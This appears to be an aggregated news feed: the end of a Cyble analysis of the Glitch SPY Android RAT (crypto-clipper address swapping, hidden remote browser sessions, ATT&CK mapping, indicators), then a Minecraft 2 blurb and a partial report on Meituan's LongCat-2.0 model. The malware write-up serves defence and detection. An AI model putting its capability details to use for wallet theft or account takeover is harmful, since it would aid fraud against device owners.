<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Although file encryption could be abused for extortion, the analyzed sample does not confirm an automated mass-encryption routine, ransom note, payment workflow, or victim-facing ransom screen.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Crypto Clipper Functionality</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The crypto-clipper module is designed to monitor clipboard activity on the infected device and replace copied <a href="https://cyble.com/blog/cryptocurrency-firms-being-raided-by-cybercriminals/">cryptocurrency</a> wallet addresses with TA-configured addresses.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The module supports multiple wallet formats, including ETH/EVM addresses beginning with 0x, TRON/TRX addresses beginning with T, Bitcoin legacy addresses beginning with 1 or 3, and Bitcoin Bech32 addresses beginning with bc1q or bc1p. The code also includes URI-style prefixes such as bitcoin:, ethereum:, erc20:, tron:, bsc:, matic:, polygon:, arbitrum:, optimism:, base:, and ton:, indicating that the malware can detect wallet addresses copied in both plain-text and URI-prefixed formats.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":121453,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/Figure-8-%E2%80%93-Malware-implemented-crypto-wallet-address-pattern-match.png" alt="Figure 8 – Malware implemented crypto wallet address pattern match" class="wp-image-121453"><figcaption class="wp-element-caption"><em>Figure 8 – Malware implemented crypto wallet address pattern match</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>When the TA issues the start_clipboard_monitor command, Glitch SPY begins tracking clipboard changes on the infected device. Before performing any replacement, the clipper module is enabled in the configuration.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>If replacement is active, the malware reads the current clipboard content, extracts text from available clipboard items, removes null bytes and hidden formatting characters, normalizes whitespace, and attempts to identify a supported cryptocurrency wallet address.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>If a valid wallet address is detected, Glitch SPY selects a configured replacement address from the same cryptocurrency family and ensures it is different from the victim-copied address. It then updates the clipboard using Android’s ClipboardManager.setPrimaryClip() API, replacing the victim’s original wallet address with the attacker-controlled value.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>After the replacement, the malware reports the event to the C&amp;C server, including the original address, replacement address, and detected cryptocurrency type, such as ETH/EVM, TRX, or BTC.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":121454,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/Figure-9-Crypto-clipper-clipboard-replacement-logic.png" alt="" class="wp-image-121454"><figcaption class="wp-element-caption"><em>Figure 9 - Crypto clipper clipboard replacement logic</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Remote Browser Capability</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Glitch SPY’s remote browser capability allows the TA to open and control a browser session directly on the infected device. The malware receives a URL from the C&amp;C server and loads it inside a WebView on the victim’s device. It also supports switching between mobile and desktop browsing modes, allowing the TA to control how websites render during the session.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The browser session runs in a hidden off-screen window, keeping it active without alerting the victim. After the browser session is initialized, the malware reports the session status, loaded URL, browsing mode, and window details back to the C&amp;C server. This allows the TA to confirm that the browser session is active and ready for interaction.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":121455,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/Figure-10-Remote-browser-activity.png" alt="" class="wp-image-121455"><figcaption class="wp-element-caption"><em>Figure 10 - Remote browser activity</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The TA can further control the session using commands to navigate to URLs, click page elements, enter text, swipe through pages, send keyboard actions, and fill or clear web form fields.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>When combined with screen streaming, keylogging, screen-reader extraction, clipboard monitoring, and Accessibility-based input, the remote browser capability provides a complete workflow for web-based account takeover and transaction manipulation from the infected device itself.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":121457,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/Figure-11-%E2%80%93-Commands-to-control-WebView-sessions.png" alt="" class="wp-image-121457"><figcaption class="wp-element-caption"><em>Figure 11 – Commands to control WebView sessions</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The feature can let attacker-controlled web activity originate from the victim’s own device rather than from external attacker infrastructure.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>This means the attacker's web activity originates from the victim's IP, with the victim's cookies and any active authenticated sessions intact — making it harder for banks or crypto platforms to flag the login as suspicious.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>In fraud scenarios, this may allow attackers to interact with login pages, financial portals, cryptocurrency services, email accounts, or other web applications from the victim’s environment.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">Conclusion</h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Glitch SPY is a capable, actively developing Android threat combining surveillance, remote control, financial fraud, and account takeover within a single platform.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Its use of the established Brokewell loader for delivery, its abuse of the Accessibility Service to automate permission grants after a single user action, and its Builder, Dropper, and payload-management modules indicate a TA investing in a reusable framework rather than a one-off campaign.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The Builder's per-payload configuration options (custom name, icon, package ID, and decoy WebView URL) mean retargeting for a new region or lure requires no code changes.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>While the current activity appears targeted at users searching for rental properties in Poland, one recovered APK and two identified C&amp;C panel URLs suggest early-stage distribution. The "Coming soon" Cryptor module and active panel development indicate the platform is still expanding.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Users should avoid installing APKs from outside official app stores. The loader's first action is requesting permission to install from unknown sources; denying it stops the payload before it installs.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Any app that requests Accessibility Service or installs from unknown sources should be treated as suspicious. Keep Google Play Protect enabled.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">Our Recommendations</h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>We have listed some essential <a href="https://cyble.com/knowledge-hub/what-is-cybersecurity/">cybersecurity</a> best practices that serve as the first line of defense against attackers. We recommend that our readers follow the best practices given below:</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Install Apps Only from Trusted Sources:</strong><br>Download apps exclusively from official platforms, such as the <a href="https://cyble.com/blog/crypto-phishing-applications-on-the-play-store/">Google Play Store</a>. Avoid third-party app stores or links received via SMS, social media, or email.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Be Cautious with Permissions and Installs:</strong><br>Never grant permissions and install an application unless you're certain of an app's legitimacy.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Watch for Phishing Pages:</strong><br>Always verify the URL and avoid suspicious links and websites that ask for sensitive information.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Enable Multi-Factor Authentication (MFA):</strong><br>Use MFA for banking and financial apps to add an extra layer of protection, even if credentials are compromised.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Report Suspicious Activity:</strong><br>If you suspect you've been targeted or infected, report the incident to your bank and local authorities immediately. If necessary, reset your credentials and perform a factory reset.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Use Mobile Security Solutions:</strong><br>Install a mobile security application that includes real-time scanning.</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Keep Your Device Updated:</strong><br> Ensure your Android OS and apps are updated regularly. Security patches often address vulnerabilities exploited by malware.</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">MITRE ATT&amp;CK® Techniques</h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:table --></p>
<figure class="wp-block-table">
<table class="has-fixed-layout">
<tbody>
<tr>
<td><strong>Tactic</strong></td>
<td><strong>Technique ID</strong></td>
<td><strong>Procedure</strong></td>
</tr>
<tr>
<td>Initial Access (<a href="https://attack.mitre.org/tactics/TA0027">TA0027</a>)</td>
<td>Phishing (<a href="https://attack.mitre.org/techniques/T1660/">T1660</a>)</td>
<td>Glitch SPY is distributed via phishing sites</td>
</tr>
<tr>
<td>Persistence (<a href="https://attack.mitre.org/tactics/TA0028">TA0028</a>)</td>
<td>Event Triggered Execution: Broadcast Receivers (T1624.001)</td>
<td>Glitch SPY implemented a broadcast receiver for screen capturing</td>
</tr>
<tr>
<td>Defense Evasion (<a href="https://attack.mitre.org/tactics/TA0030">TA0030</a>)<strong></strong></td>
<td>Impair Defenses: Prevent Application Removal (T1629.001)</td>
<td>Prevent uninstalling application</td>
</tr>
<tr>
<td>Defense Evasion (<a href="https://attack.mitre.org/tactics/TA0030">TA0030</a>)<strong></strong></td>
<td>Hide Artifacts: Suppress Application Icon (<a href="https://attack.mitre.org/techniques/T1628/001/">T1628.001</a>)</td>
<td>Glitch SPY hides its icon</td>
</tr>
<tr>
<td>Defense Evasion (<a href="https://attack.mitre.org/tactics/TA0030">TA0030</a>)</td>
<td>Masquerading: Match Legitimate Name or Location (<a href="https://attack.mitre.org/techniques/T1655/001/">T1655.001</a>)</td>
<td>Glitch SPY masquerades as a Polish rental application</td>
</tr>
<tr>
<td>Defense Evasion (<a href="https://attack.mitre.org/tactics/TA0030">TA0030</a>)</td>
<td>Input Injection (T1516)</td>
<td>Glitch SPY can perform actions such as Clicks, swipes, gestures, and enter text into edit fields.</td>
</tr>
<tr>
<td>Credential Access (<a href="https://attack.mitre.org/tactics/TA0030">TA0030</a>)</td>
<td>Abuse Accessibility Features (<a href="https://attack.mitre.org/techniques/T1453/">T1453</a>)</td>
<td>Glitch SPY abuses Accessibility service</td>
</tr>
<tr>
<td><strong> </strong></td>
<td>Input Capture: Keylogging (<a href="https://attack.mitre.org/techniques/T1417/001/">T1417.001</a>)</td>
<td>Glitch SPY includes a Keylogging module  </td>
</tr>
<tr>
<td>Discovery (<a href="https://attack.mitre.org/tactics/TA0032">TA0032</a>)</td>
<td>Software Discovery  (<a href="https://attack.mitre.org/techniques/T1418/">T1418</a>)</td>
<td>Glitch SPY collects installed applications</td>
</tr>
<tr>
<td>Discovery (<a href="https://attack.mitre.org/tactics/TA0032">TA0032</a>)</td>
<td>File and Directory Discovery (<a href="https://attack.mitre.org/techniques/T1420/">T1420</a>)</td>
<td>Glitch SPY can enumerate files from external storage</td>
</tr>
<tr>
<td>Discovery (<a href="https://attack.mitre.org/tactics/TA0032">TA0032</a>)</td>
<td>Location Tracking (<a href="https://attack.mitre.org/techniques/T1430/">T1430</a>)</td>
<td>Glitch SPY can collect device location</td>
</tr>
<tr>
<td>Discovery (<a href="https://attack.mitre.org/tactics/TA0032">TA0032</a>)</td>
<td>System Information Discovery (<a href="https://attack.mitre.org/techniques/T1426/">T1426</a>)</td>
<td>Glitch SPY can collect device information</td>
</tr>
<tr>
<td>Collection (<a href="https://attack.mitre.org/tactics/TA0035">TA0035</a>)</td>
<td>Archive Collected Data (<a href="https://attack.mitre.org/techniques/T1532/">T1532</a>)  </td>
<td>Glitch SPY compresses the external storage directories as a zip file before sending</td>
</tr>
<tr>
<td>Collection (<a href="https://attack.mitre.org/tactics/TA0035">TA0035</a>)</td>
<td>Screen Capture (<a href="https://attack.mitre.org/techniques/T1513/">T1513</a>)</td>
<td>Glitch SPY captures screen content</td>
</tr>
<tr>
<td>Collection (<a href="https://attack.mitre.org/tactics/TA0035">TA0035</a>)</td>
<td>Audio Capture (<a href="https://attack.mitre.org/techniques/T1429/">T1429</a>)</td>
<td>Glitch SPY can capture Audio</td>
</tr>
<tr>
<td>Collection (<a href="https://attack.mitre.org/tactics/TA0035">TA0035</a>)</td>
<td>Clipboard Data (T1414)</td>
<td>Malware can monitor Clipboard content</td>
</tr>
<tr>
<td>Collection (<a href="https://attack.mitre.org/tactics/TA0035">TA0035</a>)</td>
<td>Data from Local System (<a href="https://attack.mitre.org/techniques/T1533/">T1533</a>)</td>
<td>Malware collects encrypted files from external storage</td>
</tr>
<tr>
<td>Collection (<a href="https://attack.mitre.org/tactics/TA0035">TA0035</a>)</td>
<td>Protected User Data: Contact List (<a href="https://attack.mitre.org/techniques/T1636/003/">T1636.003</a>)</td>
<td>Malware collects contact details</td>
</tr>
<tr>
<td>Collection (<a href="https://attack.mitre.org/tactics/TA0035">TA0035</a>)</td>
<td>Protected User Data: SMS Messages (<a href="https://attack.mitre.org/techniques/T1636/004/">T1636.004</a>)</td>
<td>Glitch SPY collects SMS data</td>
</tr>
<tr>
<td>Collection (<a href="https://attack.mitre.org/tactics/TA0035">TA0035</a>)</td>
<td>Protected User Data: Accounts (<a href="https://attack.mitre.org/techniques/T1636/005/">T1636.005</a>)</td>
<td>Malware collects Account information</td>
</tr>
<tr>
<td>Collection (<a href="https://attack.mitre.org/tactics/TA0035">TA0035</a>)</td>
<td>Protected User Data: Call Log (<a href="https://attack.mitre.org/techniques/T1636/002/">T1636.002</a>)</td>
<td>Glitch SPY collects Call logs</td>
</tr>
<tr>
<td>Command &amp; Control (<a href="https://attack.mitre.org/tactics/TA0037">TA0037</a>)</td>
<td>Application Layer Protocol (<a href="https://attack.mitre.org/techniques/T1437/">T1437</a>)</td>
<td>Glitch SPY communicates with C2 over TCP</td>
</tr>
<tr>
<td>Exfiltration (<a href="https://attack.mitre.org/tactics/TA0036">TA0036</a>)</td>
<td>Exfiltration Over C2 Channel (<a href="https://attack.mitre.org/techniques/T1646/">T1646</a>)</td>
<td>Glitch SPY exfiltrates data to the C&amp;C server</td>
</tr>
<tr>
<td>Impact (<a href="https://attack.mitre.org/tactics/TA0034">TA0034</a>)</td>
<td>Data Encrypted for Impact (<a href="https://attack.mitre.org/techniques/T1471/">T1471</a>)</td>
<td>Malware encrypts all the files present on the device with the .enc extension</td>
</tr>
<tr>
<td>Impact (<a href="https://attack.mitre.org/tactics/TA0034">TA0034</a>)</td>
<td>Data Destruction (<a href="https://attack.mitre.org/techniques/T1662/">T1662</a>)</td>
<td>Glitch SPY deletes all plain-text files after encryption</td>
</tr>
</tbody>
</table>
</figure>
<p><!-- /wp:table --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading">Indicators of Compromise (IOCs)<strong></strong></h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:table --></p>
<figure class="wp-block-table">
<table class="has-fixed-layout">
<tbody>
<tr>
<td><strong>Indicators</strong></td>
<td><strong>Indicator type</strong></td>
<td><strong>Description</strong></td>
</tr>
<tr>
<td>hxxps://tutaj-dompl[.]com/Tutajdom.apk</td>
<td>URL</td>
<td>Distribution URL</td>
</tr>
<tr>
<td>sportypointsrewards[.]com</td>
<td>Domain</td>
<td>C&amp;C server</td>
</tr>
<tr>
<td>80af5e921cf8a3052fe4483bb2eb15953590e72ed003ac61c0b9135575c32075</td>
<td>FileHash-SHA256</td>
<td>Glitch SPY Hash</td>
</tr>
<tr>
<td>d439475bf09af7b474cdba2c19e136a1dd38e62b088537445ac3c8e4c2d3a8b1</td>
<td>FileHash-SHA256</td>
<td>Brokewell Loader</td>
</tr>
</tbody>
</table>
</figure>
<p><!-- /wp:table --></p>
<p>The post <a rel="nofollow" href="https://cyble.com/blog/glitch-spy-rat-distributed-via-fake-polish-app/">Glitch SPY: An Emerging Android RAT Distributed Through a Fake Polish Rental App</a> appeared first on <a rel="nofollow" href="https://cyble.com/">Cyble</a>.</p>]]></content:encoded>
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<title><![CDATA[Erste Handlungsdetails versprechen viel: Minecraft 2 soll „epische Missionen“ enthalten]]></title>
<description><![CDATA[Nachdem der Minecraft-Film Fans des Open-World-Sandbox-Spiel auf ganzer Linie überzeugen konnte, soll auch der zweite Teil ein regelrechtes Spektakel werden.]]></description>
<link>https://tsecurity.de/de/3635061/it-nachrichten/erste-handlungsdetails-versprechen-viel-minecraft-2-soll-epische-missionen-enthalten/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3635061/it-nachrichten/erste-handlungsdetails-versprechen-viel-minecraft-2-soll-epische-missionen-enthalten/</guid>
<pubDate>Tue, 30 Jun 2026 11:32:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Nachdem der Minecraft-Film Fans des Open-World-Sandbox-Spiel auf ganzer Linie überzeugen konnte, soll auch der zweite Teil ein regelrechtes Spektakel werden.]]></content:encoded>
</item>
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<title><![CDATA[Meituan open sources LongCat-2.0, the 1.6T, near-frontier agentic coding model that's been leading OpenRouter — trained entirely on Chinese chips]]></title>
<description><![CDATA[A few hours ago, Chinese delivery app company Meituan officially unveiled LongCat-2.0 on GitHub, Hugging Face, and its native platform, unmasking the model as the computational engine behind "Owl Alpha," the anonymous stealth model that has spent the last two months commanding global developer ch...]]></description>
<link>https://tsecurity.de/de/3634858/it-nachrichten/meituan-open-sources-longcat-20-the-16t-near-frontier-agentic-coding-model-thats-been-leading-openrouter-trained-entirely-on-chinese-chips/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3634858/it-nachrichten/meituan-open-sources-longcat-20-the-16t-near-frontier-agentic-coding-model-thats-been-leading-openrouter-trained-entirely-on-chinese-chips/</guid>
<pubDate>Tue, 30 Jun 2026 09:47:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A few hours ago, Chinese delivery app company <a href="https://longcat.chat/blog/longcat-2.0/">Meituan officially unveiled LongCat-2.0 </a>on <a href="https://github.com/meituan-longcat/LongCat-2.0">GitHub</a>, <a href="https://huggingface.co/meituan-longcat/LongCat-2.0/blob/main/LICENSE">Hugging Face</a>, and its native platform, unmasking the model as the computational engine behind "Owl Alpha," the anonymous stealth model that has spent the last two months commanding global developer charts on OpenRouter. </p><p>Developed to fundamentally disrupt closed-source enterprise dominance in autonomous software engineering, the 1.6-trillion-parameter Mixture-of-Experts (MoE) system brings a native 1-million-token context window to the public domain under a highly permissive, enterprise grade, commercially viable MIT license. </p><p>Commercial access to the architecture introduces a highly aggressive pricing tier, deploying a mechanism where all context-cache hits are processed completely<i> free of charge</i>, running alongside a time-limited "<a href="https://longcat.chat/platform/docs/TokenPack.html">Token Pack</a>" flash-sale paradigm. There's also a typical <a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">"pay-as-you-go" API</a> for non-cache hits standard priced at $0.75/$2.95 per million tokens in/out.</p><p>However, a limited-time promotional discount aggressively slashes these operational expenditures down to $0.30 per million tokens for uncached input and $1.20 per million tokens for output, both on the cheaper-end of top performing models globally. </p><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Input ($/1M)</b></p></td><td><p><b>Output ($/1M)</b></p></td><td><p><b>Total ($/1M)</b></p></td><td><p><b>Source</b></p></td></tr><tr><td><p>MiMo-V2.5 Flash</p></td><td><p>$0.10</p></td><td><p>$0.30</p></td><td><p>$0.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>deepseek-v4-flash</p></td><td><p>$0.14</p></td><td><p>$0.28</p></td><td><p>$0.42</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>deepseek-v4-pro</p></td><td><p>$0.435</p></td><td><p>$0.87</p></td><td><p>$1.305</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>MiniMax-M3</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://platform.minimax.io/subscribe/token-plan?tab=api-enterprise">MiniMax</a></p></td></tr><tr><td><p><b>LongCat-2.0 — limited-time promo</b></p></td><td><p><b>$0.30</b></p></td><td><p><b>$1.20</b></p></td><td><p><b>$1.50</b></p></td><td><p><b></b><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html"><b>LongCat</b></a><b></b></p></td></tr><tr><td><p>Gemini 3.1 Flash-Lite</p></td><td><p>$0.25</p></td><td><p>$1.50</p></td><td><p>$1.75</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Qwen3.7-Plus</p></td><td><p>$0.40</p></td><td><p>$1.60</p></td><td><p>$2.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-plus&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>MiMo-V2.5</p></td><td><p>$0.40</p></td><td><p>$2.00</p></td><td><p>$2.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>LongCat-2.0 — standard</b></p></td><td><p><b>$0.75</b></p></td><td><p><b>$2.95</b></p></td><td><p><b>$3.70</b></p></td><td><p><b></b><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html"><b>LongCat</b></a></p></td></tr><tr><td><p>Grok 4.3 (low context)</p></td><td><p>$1.25</p></td><td><p>$2.50</p></td><td><p>$3.75</p></td><td><p><a href="https://docs.x.ai/developers/models/grok-4.3">xAI</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (≤256K)</p></td><td><p>$1.00</p></td><td><p>$3.00</p></td><td><p>$4.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>Kimi-K2.6</p></td><td><p>$0.95</p></td><td><p>$4.00</p></td><td><p>$4.95</p></td><td><p><a href="https://platform.kimi.ai/docs/pricing/chat-k26">Moonshot AI</a></p></td></tr><tr><td><p>GLM-5.2</p></td><td><p>$1.40</p></td><td><p>$4.40</p></td><td><p>$5.80</p></td><td><p><a href="https://docs.z.ai/guides/overview/pricing">Z.ai</a></p></td></tr><tr><td><p>GPT-5.6 Luna</p></td><td><p>$1.00</p></td><td><p>$6.00</p></td><td><p>$7.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Grok 4.3 (high context)</p></td><td><p>$2.50</p></td><td><p>$5.00</p></td><td><p>$7.50</p></td><td><p><a href="https://docs.x.ai/developers/models/grok-4.3">xAI</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (&gt;256K)</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>Qwen3.7-Max</p></td><td><p>$2.50</p></td><td><p>$7.50</p></td><td><p>$10.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-max&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>Gemini 3.5 Flash</p></td><td><p>$1.50</p></td><td><p>$9.00</p></td><td><p>$10.50</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (≤200K)</p></td><td><p>$2.00</p></td><td><p>$12.00</p></td><td><p>$14.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>GPT-5.6 Terra</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.4</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (&gt;200K)</p></td><td><p>$4.00</p></td><td><p>$18.00</p></td><td><p>$22.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Claude Opus 4.8</p></td><td><p>$5.00</p></td><td><p>$25.00</p></td><td><p>$30.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/pricing">Anthropic</a></p></td></tr><tr><td><p>GPT-5.5</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.5 Instant (chat-latest)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://developers.openai.com/api/docs/models/chat-latest">OpenAI</a></p></td></tr><tr><td><p>Sakana Fugu Ultra (≤272K)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://console.sakana.ai/pricing#subscription-plan">Sakana AI</a></p></td></tr><tr><td><p>GPT-5.6 Sol</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/index/previewing-gpt-5-6-sol/">OpenAI</a></p></td></tr><tr><td><p>Claude Fable 5 / Claude Mythos 5</p></td><td><p>$10.00</p></td><td><p>$50.00</p></td><td><p>$60.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/models/overview">Anthropic</a></p></td></tr></tbody></table><p>What makes the release a definitive inflection point for global tech infrastructure is its operational independence: the massive model was trained entirely on a cluster of over 50,000 domestic Chinese Application-Specific Integrated Circuits (ASICs), proving that near-frontier AI models can be scaled successfully without relying on the typical U.S. Nvidia GPUs that have, to date, powered much of the global generative AI frontier model training effort. </p><p>This successful deployment of alternative silicon signals a profound structural shift. If Chinese conglomerates can consistently iterate trillion-parameter architectures using homegrown ASICs rather than general-purpose GPUs, it would seem to threaten Nvidia's dominance in this sector. </p><p>Crucially, this technological pivot arrives precisely as Washington pressures top-tier American labs to restrict access to their latest models. Following a U.S. governmental request,<a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov"> OpenAI was forced to limit access to its new GPT-5.6 models</a>, while Anthropic was previously also <a href="https://venturebeat.com/technology/anthropic-blocks-all-public-access-to-claude-fable-5-mythos-5-following-us-government-order-what-enterprises-should-do">ordered by the U.S. </a>to restrict access to its latest Claude Fable 5 / Mythos 5 models, which it took entirely offline in response. At the same time, a growing chorus of <a href="https://www.axios.com/2026/06/29/trump-ai-model-release-delays-tech-backlash">technologists</a>, <a href="https://thehill.com/policy/technology/5925364-ai-regulation-anthropic-trump-administration/">activists</a>, and industry experts warn that these defensive regulatory maneuvers have inadvertently backfired. By locking down Western closed-source models and driving up API costs, the U.S. government has left a wide operational window for global developers seeking affordable, high-performance alternatives like those found in Chinese open source models such as Meituan LongCat-2.0.</p><p>The raw operational metrics backed up the developer enthusiasm: during its unbranded residency on <a href="https://openrouter.ai/openrouter/owl-alpha">OpenRouter, Owl Alpha</a> accounted for approximately 10.1 trillion monthly tokens—averaging 559 billion tokens per day—representing a 242% month-over-month explosion in volume that propelled it into the platform's global top three.</p><p>By the time Meituan stepped forward to claim the architecture, the model had already secured the top ranking on the Hermes Agent workspace, second place on Claude Code deployments, and third place across international 